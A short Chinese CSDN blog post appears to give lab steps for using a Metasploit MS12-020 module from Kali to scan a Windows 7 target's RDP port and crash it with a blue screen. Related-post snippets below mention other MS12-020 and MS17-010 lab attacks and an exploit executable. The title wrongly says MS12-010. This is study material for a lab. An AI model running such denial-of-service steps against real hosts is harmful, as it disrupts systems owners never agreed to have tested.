ms12_010 死亡蓝屏

于 2023-07-05 23:47:13 发布
阅读量88 收藏
点赞数
文章标签： 网络
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_73853543/article/details/131565949
版权
在KaliLinux2021.4a的桥接网络环境中，通过MetasploitFramework(Msf)对Windows7系统进行安全测试。首先搜索ms12-020漏洞，然后使用相应模块扫描目标IP192.168.188.80，检查其3389远程桌面服务是否开放，以评估受害者靶机的安全状态。
摘要由CSDN通过智能技术生成

环境：kali2021.4a 桥接模式
Win7 桥接模式 192.168.188.80
步骤：
(1)Msf
(2)Search ms12-020
(3)Use 0 //扫描部分,扫描目标主机ip
查看受害者靶机是否开启3389
(4)Use 1
(5)Set rhost 受害机
(6)Run在这里插入图片描述

受害人视角
在这里插入图片描述

m0_73853543
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
渗透测试环境搭建与metasploit工具使用
m0_64338210的博客
01-13 517
-Metasploit配置使用2 实验目的 熟悉ms17-010漏洞的原理及利用方法，掌握Metasploit的配置使用方法。 实验环境 操作机：Kali2018-TS (1)操作系统：Kali Linux 2018.4 (2)登录账号密码：操作系统帐号root，密码Sangfor!7890 靶机 pt-env (1)操作系统：Windows (2)安装的应用软件：PHPStudy 2013、DVWA漏洞网站环境 (3)登录账号密码：操作系统帐号Administrator，密码Sangf
使用metasploit(MSF)对windows的ms12-020漏洞进行利用的过程
D-river博客
11-10 1万+
前言攻击者向受影响的系统发送一系列特制 RDP 数据包，则这个漏洞可能造成拒绝服务攻击或允许远程执行代码。默认情况下，任何 Windows 操作系统都未启用远程桌面协议 (RDP，默认端口3389)。没有启用 RDP 的系统不受威胁。此实验对目标系统造成了DOS攻击。 0x01 实验环境攻击机：kali linux ip:192.168.8.130 目标机：windows server 200
3389端口之死亡蓝屏---ms12-020模块
旺仔Sec&blog
10-04 679
环境 攻击机：kali 靶机：Windows 7 64位 1.在靶机上开启允许远程访问你的计算机。 2.进入设置页面后，选择允许选项 3.打开攻击机的终端输入msfconsole，再输入search ms12-020查找这个模块。 4.可选择的模块有两个，我们选择第一个。第一个攻击模块，第二个辅助扫描模块 5.输入show options查看要配置的选项。 6.输入set RHOST 加靶机IP ...
[新闻]20120215，微软2月15日发布9个安全补丁
微软大中华区安全博客
02-15 1190
大家好，我是 Richard Chen。微软于北京时间2月15日清晨发布9个安全补丁，其中4个为最高级别严重等级，其余5个均为重要等级，共修复Microsoft Windows, Office, Internet Explorer 和 .NET/Silverlight 中的21个安全漏洞。请特别优先部署 MS12-010 和 MS12-013。MS12-010 是针对所有版本 IE 浏览器的累积更
MS12-020（CVE-2012-0002） Exploit 3389远程溢出漏洞代码
03-09
MS12-020（CVE-2012-0002） Exploit 3389远程溢出漏洞代码
ms12-020.exe/windows远程桌面溢出程序/远程蓝屏重启exploit
09-11
Usage: MS12-020.exe Remote_host_add Example: MS12-020.exe www.test.com MS12-020.exe 192.168.1.1 Source Code Copyright Silic Group Application Copyright Xiaomo.wabzsy
windbg_X64蓝屏分析工具
02-07
Windbg_X64是一款强大的Windows调试工具，专用于分析蓝屏问题，特别是在64位操作系统环境下。它由Microsoft提供，是系统级调试的必备利器，能够帮助IT专业人员深入理解系统崩溃的原因，从而修复错误。 在Windows...
揭秘“死亡蓝屏”.pdf
05-10
### 揭秘“死亡蓝屏” #### 概述 在日常使用Windows系统的过程中，不少用户可能会遇到所谓的“死亡蓝屏”现象。这种突然出现的蓝屏不仅令人困惑，还可能给工作带来诸多不便。本文旨在深入探讨“死亡蓝屏”的成因、...
蓝屏_bluescreen_Welcome!_蓝屏_
10-02
【蓝屏现象与原因分析】 在计算机领域，"蓝屏"（Blue Screen，也称为蓝屏死机或蓝屏错误）是指操作系统在遇到严重错误时，为了保护系统数据不被破坏，而显示的一种错误提示界面。这个界面通常呈现出蓝色背景，并...
解决10代CPU_UEFI_Win7_A5蓝屏_卡LOGO问题
05-21
解决10代CPU_UEFI_Win7_A5蓝屏_卡LOGO问题:内有修改版的内含从厂商安装的windows7 内提取的acpi.sys，uefiSeven_bootx64.efi，可解决10代CPU无CSM模块情况下安装win7蓝屏等问题。经实测可以正常以uefi+GPT启动正常...
windows 漏洞补丁MS12-020.msu
05-10
ms12-020漏洞的定义是指操作系统的远程桌面协议存在重大漏洞，入侵者（黑客）可以通过向远程桌面默认端口（3389）发一系列特定RDP包，从而获取超级管理员权限，进而入侵系统。   根据实际被入侵终端进行分析，开放...
MS12-020 远程桌面漏洞允许远程执行代码 验证
mixboot
09-26 6850
MS12-020lou lou 参考： 远程桌面中的漏洞可能允许远程执行代码
渗透测试-[windows-MS08-067、MS10-046、MS17-010、MS12-020]
m0_43405474的博客
05-05 3043
【MS漏洞攻击实验-MS08-067、MS10-046、MS17-010、MS-12-020】0.实验环境1.MS08-067【RPC】1.1 漏洞描述1.2 主机发现1.3 利用MSF通过ms08-067漏洞渗透目标系统1.4 后渗透利用1.查看权限：2.Shell3.添加账号4.将新账号添加到管理员组中5.截屏2.MS10-046【快捷方式自动执行代码】2.1 漏洞描述2.2 渗透攻击2.3 后渗透利用3.MS17-010【SMB】3.1 漏洞描述3.2 渗透攻击3.2.1 目标发现3.2.2 渗透攻击
远程桌面--------ms12-020 漏洞复现 （死亡蓝屏）
Sylon的博客
09-03 2981
[漏洞说明]: MS12-020全称Microsoft Windows远程桌面协议RDP远程代码执行漏洞，可导致BSOD（死亡蓝屏） 介绍：RDP协议是一个多通道的协议，让用户连上提供微软终端机服务的电脑。 windows在处理某些对象时存在错误，可通过特制的RDP报文访问未初始化或已经删除的对象，导致任意代码执行。 然后控制系统。 受影响系统： 开了RDP的 Microso...
利用msf进行ms12-020蓝屏攻击
Deeeelete的博客
07-13 1487
攻击机（kali）：192.168.132.144 受害机(winserver2003)：192.168.132.134 1.在【我的电脑】->右键选中【管理】，找到系统工具下的【本地用户和组】下的【用户】，在空白处右键添加【新用户】 2.返回桌面，右键我的电脑的属性。选择远程 选择远程用户 添加 输入我们之前添加的用户，确定 3.回到kali中，查看是否存在此漏洞可以用msf也可以用nmap扫，这里我演示后者。 nmap --script=vuln 192.168.132.134 .
MS17-010（Eternal blue永恒之蓝）漏洞利用+修复方法
热门推荐
ElsonHY的博客
11-22 8万+
MS17-010（Eternal blue永恒之蓝）漏洞利用+修复方法前言0x01 准备工作0x02 漏洞利用0x03 修复方案总结 前言 提到操作系统漏洞，大家肯定听说过耳熟能详的永恒之蓝（MS17-010）了，他的爆发源于WannaCry勒索病毒的诞生。 该病毒是不法分子利用NSA（National Security Agency，美国国家安全局）泄露的危险漏洞“EternalBlue”（永恒之蓝）进行传播 。勒索病毒肆虐，俨然是一场全球性互联网灾难，给广大电脑用户造成了巨大损失。最新统计数据显示，
利用MS12-020进行的一次简单渗透测试
meyo的博客
09-12 2万+
一、 实验目的 掌握Nmap扫描器的安装与使用； 掌握Nmap进行远程OS检测的原理； 掌握Nessus在本机或远程控制，进行漏洞分析扫描； 掌握Metasploit对目标漏洞的利用； 运用Nmap、Nessus、Metasploit进行一次简单的内网渗透； 该实验为综合性实验。 二、 实验原理及方法 用Nmap对目标主机进行扫描，从而得到目标主机的主机发现、端口扫描、应用与版本侦测、...
MS12-020漏洞攻击: 在Win2008 R2上开启远程桌面 利用MS12-020进行漏洞攻击 打补丁后再次测试漏洞攻击
彭淦淦的博客
05-08 2579
3.2 步骤 实现此案例需要按照如下步骤进行。 1）在kali上扫描靶机，如图-13所示 图-13 2）在kali上启动msfconsole，首先测试漏洞攻击，然后进行攻击，如图-14、图-15和图-16所示 图-14 图-15 图-16 3）打补丁Windows6.1-KB2621440-x64.msu后再次测试，漏洞攻击没有效果了 ...
永恒之蓝ms17-010蓝屏
最新发布
09-05
MS17-010是微软发布的补丁，用于修复这个漏洞。如果您的系统没有安装此补丁或其他相关安全更新，那么您的系统可能会容易受到攻击。 要解决这个问题，您应该确保您的系统已经安装了最新的安全更新和补丁。您可以访问...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值